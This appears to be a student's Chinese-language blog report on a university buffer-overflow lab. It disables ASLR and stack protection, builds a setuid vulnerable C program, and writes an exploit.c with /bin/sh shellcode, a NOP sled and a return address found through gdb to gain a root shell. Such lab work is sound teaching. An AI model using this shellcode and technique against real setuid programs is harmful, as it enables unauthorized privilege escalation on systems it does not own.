2018-2019-1 20165314《信息安全系统设计基础》实验一 缓冲区溢出漏洞实验

实验目的

学习体验使用程序缓冲区溢出漏洞改变程序流控制,了解缓冲区漏洞的机理等。

实验环境配置:

输入命令安装一些用于编译32位C程序的软件包

$ sudo apt-get update

$ sudo apt-get install -y lib32z1 libc6-dev-i386

$ sudo apt-get install -y lib32readline-gplv2-dev

初始设置

1.关闭地址空间随机化功能。(此功能用于随机堆和栈的初始地址,使猜测准确的内存地址变得困难)

sudo sysctl -w kernel.randomize_va_space=0

2.为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权,不能在shell中保持root权限,这个防护措施在/bin/bash中实现。设置zsh程序

$ sudo su
$ cd /bin
$ ln -s zsh sh
$ exit

3.输入“linux32”,进入32位linux环境,输入“/bin/bash”使用bash

漏洞程序

1.在/tmp目录下新建一个stack.c文件

2.stack.c代码:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

 int bof(char *str)
 {
 char buffer[12];
 strcpy(buffer, str);
 return 1;
 }       

 int main(int argc, char **argv)
 {
  char str[517];
  FILE *badfile;

 badfile = fopen("badfile", "r");
 fread(str, sizeof(char), 517, badfile);//读取一个名为“badfile”的文件。
 bof(str);//将文件内容装入到buffer中

 printf("Returned Properly\n");
 return 1;
 }

3.编译过程:

$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit
  • -g 参数是为了使编译后得到的可执行文档能用gdb调试
  • GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用-fno-stack-protector关闭用来阻止缓存区溢出的栈保护机制,-z execstack用于允许执行栈

攻击

在/tmp目录下新建一个exploit.c文件

  #include <stdlib.h>
  #include <stdio.h>
  #include <string.h>

  char shellcode[] =
  "\x31\xc0" //xorl %eax,%eax
  "\x50"     //pushl %eax
  "\x68""//sh" //pushl $0x68732f2f
  "\x68""/bin"     //pushl $0x6e69622f
  "\x89\xe3" //movl %esp,%ebx
  "\x50"     //pushl %eax
  "\x53"     //pushl %ebx
  "\x89\xe1" //movl %esp,%ecx
  "\x99"     //cdq
  "\xb0\x0b" //movb $0x0b,%al
  "\xcd\x80" //int $0x80
  ;

  void main(int argc, char **argv)
  {
      char buffer[517];
      FILE *badfile;
      memset(&buffer, 0x90, 517);

      /* You need to fill the buffer with     appropriate contents here */
      strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   

      strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
      badfile = fopen("./badfile", "w");
      fwrite(buffer, 517, 1, badfile);
      fclose(badfile);
  }

\x??\x??\x??\x??处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。
strcpy(buffer+100,shellcode); 这句告诉我们,shellcode 保存在 buffer + 100 的位置。为了得到 shellcode 在内存中的地址,输入命令

  $gdb stack
  $disass main

接着输入命令

$b *0x080484e8
$r
$i r $esp

输入 r 后会Staring program
输入 i r $esp会显示 str 地址
然后按 q ,enter 退出调试
根据语句

strcpy(buffer + 100,shellcode)

计算 shellcode 的地址;0xffffd060(十六进制) + 0x64(100的十六进制) = 0xffffd0c4(十六进制)
修改exploit.c文件,将 \x??\x??\x??\x?? 修改为 \xc4\xd0\xff\xff,根据计算,我所使用的虚拟机的str地址为0xffffd060,exploit.c文件中的\x??\x??\x??\x??修改后内容为\xc4\xd0\xff\xff。

编译 exploit.c 程序

gcc -m32 -o exploit exploit.c

运行攻击程序exploit,再运行漏洞程序 stack,观察结果:

./exploit
./stack

输入whoami验证是否攻击成功

作业截图

1、输入$ sudo sysctl -w kernel.randomize_va_space=2打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。

2、将 /bin/sh 重新指向 /bin/bash(或/bin/dash),观察能否攻击成功,能否获得 root 权限。

实验中遇到的问题及解决方法

  • 1 将stack.c生成在了主目录,以及某些未知的原因,导致在tmp目录中无法编译运行,并且只能以只读方式打开。
    解决方法:重新做了一遍实验。
  • 2 不是很理解这个实验的攻击原理,实验结束后自己去百度下。
posted @ 2018-10-14 21:37  飞翔的章帅  阅读(176)  评论(0编辑  收藏  举报